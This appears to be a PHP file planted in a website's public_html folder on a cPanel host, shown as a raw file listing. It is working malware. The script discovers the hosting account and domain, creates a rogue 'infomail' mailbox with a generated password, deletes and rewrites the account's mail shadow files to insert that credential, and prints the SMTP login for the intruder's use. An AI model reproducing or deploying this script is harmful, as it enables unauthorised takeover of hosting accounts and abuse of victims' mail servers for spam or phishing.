Current File : /home/exataengenharia/public_html/CS1.php |
<?php
$pwd = @getcwd();
if(!function_exists('posix_getegid')) {
$usr = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$usr = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
if (empty($usr)) {
if (preg_match_all("#/home/(.*)/public_html/#",$pwd,$mxx)){
preg_match_all("#/home/(.*)/public_html/#",$pwd,$mxx);
$usr = $mxx[1][0];
}
}
preg_match_all("#/home(.*)$usr/#",$pwd,$m2);
$home = $m2[1][0];
$domain = $_SERVER['HTTP_HOST'];
$ip = $_SERVER["SERVER_ADDR"];
if(strstr($domain, 'www.')){
$domain = str_replace("www.","",$domain);
}else{
$domain = $domain;
}
$cp = "/home$home$usr/.cpanel";
if (is_dir($cp)) {
$pass = "NewSMTP@".substr(str_shuffle("123456789abcdefghijklmnopqrsyuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"),50)."@NewSMTP";
$pwd=crypt($pass,'$6$roottn$');
$smtpname = 'infomail';
@mkdir("/home$home$usr/etc/$domain");
@mkdir("/home$home$usr/mail/$domain");
@mkdir("/home$home$usr/mail/$domain/$smtpname");
@mkdir("/home$home$usr/mail/$domain/$smtpname/.Archive");
@mkdir("/home$home$usr/mail/$domain/$smtpname/.Drafts");
@mkdir("/home$home$usr/mail/$domain/$smtpname/.Sent");
@mkdir("/home$home$usr/mail/$domain/$smtpname/.spam");
@mkdir("/home$home$usr/mail/$domain/$smtpname/.Trash");
@mkdir("/home$home$usr/mail/$domain/$smtpname/cur");
@mkdir("/home$home$usr/mail/$domain/$smtpname/new");
@mkdir("/home$home$usr/mail/$domain/$smtpname/tmp");
$file1 = "/home$home$usr/mail/$domain/$smtpname/dovecot-acl-list";fwrite(fopen($file1,"a"),'');
$file2 = "/home$home$usr/mail/$domain/$smtpname/dovecot-uidlist";fwrite(fopen($file2,"w"),'3 V1578724087 N1 G6789ba31f76a195e040b0000cb0407e2');
$file3 = "/home$home$usr/mail/$domain/$smtpname/dovecot-uidvalidity";fwrite(fopen($file3,"w"),'5e196afc0');
$file4 = "/home$home$usr/mail/$domain/$smtpname/dovecot-uidvalidity.5e196afc";fwrite(fopen($file4,"a"),'');
$file5 = "/home$home$usr/mail/$domain/$smtpname/dovecot.index.log";fwrite(fopen($file5,"a"),'');
$file6 = "/home$home$usr/mail/$domain/$smtpname/dovecot.list.index.log";fwrite(fopen($file6,"a"),'');
$file7 = "/home$home$usr/mail/$domain/$smtpname/dovecot.mailbox.log";fwrite(fopen($file7,"a"),'');
$file8 = "/home$home$usr/mail/$domain/$smtpname/maildirsize";fwrite(fopen($file8,"w"),"2147483647C\n0 0");
$file9 = "/home$home$usr/mail/$domain/$smtpname/subscriptions";fwrite(fopen($file9,"w"),"V 2\n\nArchive\nDrafts\nSent\nspam\nTrash");
$smtp = $smtpname.':'.$pwd.':16249:::::'."\r\n";
$shadow1 = "/home$home$usr/etc/$domain/shadow";
$shadow2 = "/home$home$usr/etc/shadow";
$shadow1_content = file_get_contents($shadow1);
$shadow2_content = file_get_contents($shadow2);
if(preg_match("/$smtpname/",$shadow1_content)){
$pathe_msg = "/home$home$usr/mail/$domain/$smtpname/new";
$scan_msg = scandir($pathe_msg);
foreach($scan_msg as $file_msg) {
unlink("$pathe_msg/$file_msg");
}
unlink($shadow1);
}
if(preg_match("/$smtpname/",$shadow2_content)){unlink($shadow2);}
$fo=fopen($shadow1,"a");
fwrite($fo,$smtp);
$fo2=fopen($shadow2,"a");
fwrite($fo2,$smtp);
echo "$domain|587|$smtpname@$domain|$pass\n";
}
?>